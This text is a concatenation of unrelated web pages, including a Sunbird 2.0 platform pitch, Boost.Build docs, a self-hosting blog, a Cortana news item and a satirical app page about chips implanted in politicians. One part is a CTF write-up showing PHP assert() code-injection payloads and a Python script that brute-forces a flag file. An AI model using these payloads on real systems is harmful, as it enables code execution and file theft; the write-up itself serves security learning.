While we focused on our goal, a few early adopters showed us possibilities beyond what we had envisioned. How could they contribute to extend the capabilities of the solution?
Social change is slow. Setting out on a mission is a daunting task. Is it possible to make it easy for anyone with a social mission to achieve it?
Sunbird 2.0 is our attempt to answer these questions. An open-source platform that brings together:
Join us and be a part of a global community of social innovators steeped in the domain of lifelong learning.
"Come without a map. Explore it and draw your own map." - Stephen King, Hearts in Atlantis
Sunbird 2.0 is a searchable, discoverable repository of knowledge resources contributed by educators, engineers, pedagogues, teachers, learning scientists, data scientists and many others who have been part of the journey so far.
We believe that while technology is a major lever to bring about social change, drivers of change may not be equipped to fully utilize its power.
Sunbird 2.0 provides access to not just the software solutions built along the way, but also provides insights into the principles, thought processes and techniques used to build them. The intent is to make available resources that anyone can discover, explore, use and repurpose to suit their own program.
Discovering resources in Sunbird 2.0 is easy because it is backed by a Universal Index. Search the repository using keywords, look through the cards or browse the asset, partner or adopter lists to discover resources that help save time, money and effort.
Explore possibilities and unlock opportunities.
"No bird soars too high if he soars with its own wings" - William Blake
Just as rising air currents and strong wind speeds allow birds to soar, the right connectors are the wind beneath the wings of any successful mission. Having access to and using the right connectors at the right time energizes the mission.
Sunbird 2.0 is the connector for a strong, nurturing, ecosystem for those focussed on finding solutions in the lifelong learning domain. The repository connects the expertise of people, organizations, domains, missions, and processes. It allows members to make decisions based on ideas, research and data.
Sunbird 2.0 connects you to digital assets and organizations that help you achieve your goal.
"Create with the heart; build with the mind." ― Criss Jami, Killosophy
The main aim of Sunbird 2.0 is to nurture an environment and build capacity. The Knowledge, Process, Software, Hardware and Data framework provides a comprehensive package to anyone with a program to achieve a mission.
The digital resources available in Sunbird 2.0 are common building blocks to create lifelong learning solutions, execute programs to achieve goals and make data-driven decisions. All the digital assets built to address scale have been broken down into their logical parts allowing anyone to repurpose them to suit their own need.
But, Sunbird 2.0 is not only about using the resources offered. It is also about contributing back in whatever capacity to expand and extend it. It is about collectively building an ecosystem that makes a difference, specifically in the domain of lifelong learning.


We are given a link to webpage. It brings us to a website for a gym. There are several different pages such as About, Contact, Blog, etc.
The page is selected by setting a GET parameter in the url:
My first thought was Local File Inclusion, so I tried setting the page parameter to ../../../etc/passwd
. This did not work and I got the following response:
There must be some filter checking if the page parameter contains ..
With the name of the challenge being assert
, I decided to look into vulnerabilities related to PHP's assert
function. It seems as though index.php uses the assert function in conjuction with strpos
, or a similar function, to check if the page parameter contains the malicious characters.
I made an assumption that the PHP code looked something like this:
assert("strpos($_GET['page'], '..')===false") or die('HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE')
I tested this assumption by sending the payload:
?page=a','b')===false && strpos('
I URL encoded this payload and made a request with the page parameter set to this payload. With this payload being executed by the PHP script, the assert statement will always evaluate to true
I sent the request and I got a response with status code 200 and no message saying "HACKING ATTEMPT ... "
Just to double check my assumption, I sent a payload that would evaluate to false:
?page=a','a')===false && strpos('
and observed that I got the "HACKING ATTEMPT ..." message.
At this point I have verified that I can inject PHP boolean expressions, and if the expression evaluates to true I will get no error, and if the expression evaluate to false I will get the "HACKING ATTEMPT ..." message in the response.
I used the following payload to see if I can read from the flag.txt
file:
?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{')!==flase && strpos('
This request did not return the warning message. The following payload, however, did return the warning message:
?page=a','b')===false && strpos(file_get_contents('/flag.txt'), 'flag{a')!==flase && strpos('
Next I wrote a python script to automate the checking of potential flag strings.
To summarize the script, I send continuous requests with my payload, where I check against a different substring's existence in flag.txt
. If I get a response with no warning message, I know that my substring exists in flag.txt, and this way I can build out each character in the flag.
import requests
import string
session = requests.Session()
url = 'http://challenge.nahamcon.com:30735/index.php?page='
flag = 'flag{'
while '}' not in flag:
for c in string.hexdigits.lower() + '}':
payload = f"','qwer')===false+%26%26+strpos(filegetcontents('/flag.txt'),'{flag+c}')!==false+%26%26+strpos('abc"
endpoint = url + payload
r = session.get(endpoint)
if 'HACKING' not in r.text:
flag += c
print(flag)


If your extensions will be used only on one project, they can be
placed in a separate .jam
file that will be
imported by your project-root.jam
. If the
extensions will be used on many projects, users will thank you for
a finishing touch.
The using
rule provides a standard mechanism
for loading and configuring extensions. To make it work, your module
should provide an init
rule. The rule will be called
with the same parameters that were passed to the
using
rule. The set of allowed parameters is
determined by you. For example, you can allow the user to specify
paths, tool versions, and other options.
Here are some guidelines that help to make Boost.Build more consistent:
The init
rule should never fail. Even if
the user provided an incorrect path, you should emit a warning and go
on. Configuration may be shared between different machines, and
wrong values on one machine can be OK on another.
Prefer specifying the command to be executed to specifying the tool's installation path. First of all, this gives more control: it's possible to specify
/usr/bin/g++-snapshot time g++
as the command. Second, while some tools have a logical "installation root", it's better if the user doesn't have to remember whether a specific tool requires a full command or a path.
Check for multiple initialization. A user can try to initialize the module several times. You need to check for this and decide what to do. Typically, unless you support several versions of a tool, duplicate initialization is a user error. If the tool's version can be specified during initialization, make sure the version is either always specified, or never specified (in which case the tool is initialied only once). For example, if you allow:
using yfc ; using yfc : 3.3 ; using yfc : 3.4 ;
Then it's not clear if the first initialization corresponds to version 3.3 of the tool, version 3.4 of the tool, or some other version. This can lead to building twice with the same version.
If possible, init
must be callable
with no parameters. In which case, it should try to autodetect all
the necessary information, for example, by looking for a tool in
PATH
or in common installation locations. Often this
is possible and allows the user to simply write:
using yfc ;
Consider using facilities in the
tools/common
module. You can take a look at how
tools/gcc.jam
uses that module in the init
rule.


Vet your political leaders on their job with our app, make sure they deliver or kick them out if they don’t.
Get early accessWith recent laws empowering products that hold political leaders accountable, we created what we call the B2 nano chip.
Implanted in a specific area on the politician’s body, It’s totally safe and transparent
This chip is linked up to our publicly visible mainframe which is connected to the app on your phone so that when you rate a leader, it is recorded and collated along with other ratings.
It keeps the leader’s performance in check and based on their ratings, notifies them to step up their game or risk having their body compromised.
By just tapping a button, your voice is heard
and it matters.
See what others are saying. Like, comment or share your views as well.
No more promise and fail. The power is truly in you hands this time.
See what others are saying. Like, comment or share your views as well.
-
Gavel is basically an app that enables you to make your leaders do the right thing. The name was borrowed from the actual gavel usually used in courtrooms.
+
The app is connected to a mainframe that can be seen by everyone, so that they know which leader is getting good or bad ratings based on the people’s votes. So when you vote, it is recorded and shown on this mainframe. This mainframe is connected to the implanted chip in the leader and would compel them to do better in the case that they are not performing well. If they fail to do better, they will have to step down from office or risk losing something they old dear.
+


Ardrey2014
Web Developer
Full stack Web developer
I like coding.
Learn more about my skills
I enjoy writing front-end code
Web development
HTML
CSS
javaScript
Learning
Feel free to contact me
View my
Github
page
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As I've spent quite a considerable amount of time regarding self-hosting, let's go in depth about what I'm running and why!
After realising that trying to run everything I wanted on one (logically speaking) OS was going to be a huge pain, I looked for alternatives. Using Virtual Machines was obviously one way of going about it, but that would require a fair bit of power (which at the time my home server didn't have a lot of). Eventually I came across Docker, which long story short, has been working fantastically for me. I've been using docker-compose to manage my containers in such a way that if I needed to migrate them, it would be very straightforward (utilising volumes).
Accessing anything from the public internet required a bit of research as my ISP has put me in a CGNAT, meaning that I'm unable to do any sort of port forwarding which is what would usually be done to access resources from other networks. To get around this restriction, I have an AWS instance with an Elastic IP running under free-tier which has a reverse SSH tunnel to my server. A nginx reverse proxy is then used to serve the required services to myself while I'm not on my local network. Using both AWS Security Groups and UFW, access for most services is restricted to a select few subnets to decrease the risk of any attacks.
Short story, a lot. Long story, read on! Everything below is running in a docker container, unless otherwise specified.
GitLab offers the ability to host your own instance for free. As a self-proclaimed software developer, having a private git instance is pretty dang useful. I'm using it to host all of my personal projects that actually get created so that I can both access them from pretty much anywhere, and have them managed with version control. I also recently setup CI/CD for one of my projects, which included deploying GitLab Runner to run those CI/CD jobs. Needless to say, GitLab works like a charm!
As I own a Unifi Access Point, the Unifi Controller software is a necessity to have. Admittedly, I haven't done much outside of the initial setup of the AP and creating a guest wireless network, however as more Unifi hardware is eventually introduced into my network the controller will become much more valuable. Nevertheless, it's a huge step up from our ISP issued all-in-one.
Bitwarden is a password manager. Need I say more? I originally used KeePass however I wanted something that was more accessible but didn't compromise on security. I believe Bitwarden fills that requirement, offering a web interface and an official app. Bitwarden have completed third-party security audits, which is always a good sign for a service that handles passwords and other sensitive information. As I'm hosting it myself, all of my passwords are stored on my server instead of on Bitwarden's infrastructure. Not that I don't trust them, but having control of my own data is one of the reasons I used KeePass in the first place. As a bonus, they also support U2F as a form of 2FA!
Pi-Hole is a "black hole for Internet advertisements". Effectively it's a DNS server that sinkholes queries with specific URLs based on your blacklists. While not having any ads is pretty cool, I do whitelist certain websites that do deserve to serve ads to me. I also use it to increase my privacy online, by sinking any queries to Facebook URLs. This also blocks Instagram, WhatsApp, etc, but I don't use those so it doesn't bother me (just a side effect to be aware of).
I also have Pi-Hole hosted on my VPN server, which is used exclusively for VPN clients (no open resolvers here!).
Heimdall is an application dashboard which I use to quickly get access to services that I host or are on my local network. Not much else to say other than it does it's job.
Another short one, Ouroboros keeps all of my containers up to date.
I'm one of those people that still use IRC, so ZNC is pretty much required. I use it to stay connected to the servers that I frequent so that I get some message history, and I don't spam every channel with join and leave messages.
Technically not self-hosted, but I figured I would include it in the list as it supports the ability of being able to access my hosted services from the public internet. It's in a standard Client-Server configuration, with the Server being the AWS instance. No substantial amount traffic goes through it, meaning that I rarely go over the free-tier data limit.
From time to time, my friends and I hop on to play some Minecraft. Obviously to do this, we need to connect to a server, and hosting one myself gives us the freedom to do whatever we want with it. I also use my own script to automatically update my servers. The servers aren't running in Docker containers, but I plan to have them do so in the future.
I'm a bit of a content hoarder, so Plex makes it super easy to consume that content wherever I am. Plex is another one instance where I could be hosting it in a container, but I haven't felt a need to as I set it up way before discovering the benefits of Docker.


Microsoft to Stop Supporting Cortana on Android and iOS
by Lawrence AbramsMicrosoft has announced that they will no longer support the Cortana digital personal assistant app on Android and iOS devices starting in 2020.
In support articles for the UK, Australian, and Canadian markets, Microsoft has stated that they will no longer support the Cortana digital assistant apps on iOS and Android stating on January 31st, 2020. Instead, Microsoft will be integrating Cortana into the Microsoft 365 productivity apps.
At that time, any Cortana content that was created, such as reminders and lists will no longer work in the app, but will continue to be available in Cortana on Windows.
Microsoft states that any lists and tasks will automatically be synchronized with the Microsoft To Do app as well if installed.
"To make your personal digital assistant as helpful as possible, we’re integrating Cortana into your Microsoft 365 productivity apps. As part of this evolution, on January 31st, 2020, we’re ending support for the Cortana app on Android and iOS in your market. At that point, the Cortana content you created–such as reminders and lists–will no longer function in the Cortana mobile app or Microsoft Launcher, but can still be accessed through Cortana on Windows. Also, Cortana reminders, lists, and tasks are automatically synced to the Microsoft To Do app, which you can download to your phone for free."
When support for the Cortana apps ends, Microsoft will also release a new Microsoft Launcher app with Cortana removed.
It is not known at this time if this change is affecting all markets or only UK, Australia, and Canada.
BleepingComputer has contacted Microsoft regarding other markets that may be affected and will update the story if we hear back.
H/T BornCity


this will contain statistics on team performance, highscores, high scoring areas, etc.
Feature list:
read from scoring application
list highest score
individual team stats of high score, low score, average score, etc
statistics for each scoring place and which areas are getting the highest scores, are unused, etc.
match predictions
blue alliance scoring statistics


The setting activity helps customizing the usage of this app. Here is a list of the setting
that can be changes:
- Max size of DB query determines the number of most recent rows to be
returned from a DB query. This can be limited to a small number to view the most recent logs, or
can be unlimited to access the full log. It affects the logs of service runs, logged calls and
triggered events
- Keep call logs for gives the longevity of the logs. After the selected time
the logs are purged
- Show toast messages determines the verbosity of toast messages
- Export rules allows to export all the rules in a binary format to a fixed location, shown below,
and available on all devices under the Download directory. This can be used as an extra store of
rules when upgrading your device
- Import rules allows to re-import all the rules in binary format from a fixed location, shown below,
and available on all devices under the Download directory. This can be used as an extra store of
rules when upgrading your device
- Show protected app dialog: certain devices, e.g. the Huawei recent ones,
keep stopping the app when the screen goes off. It is possible to add this app to a protected list.
A dialog should appear on the first usage of the app to ask for this permission,
and then this dialog can be disabled. This setting allows to remind
the app to re-enable this dialog again.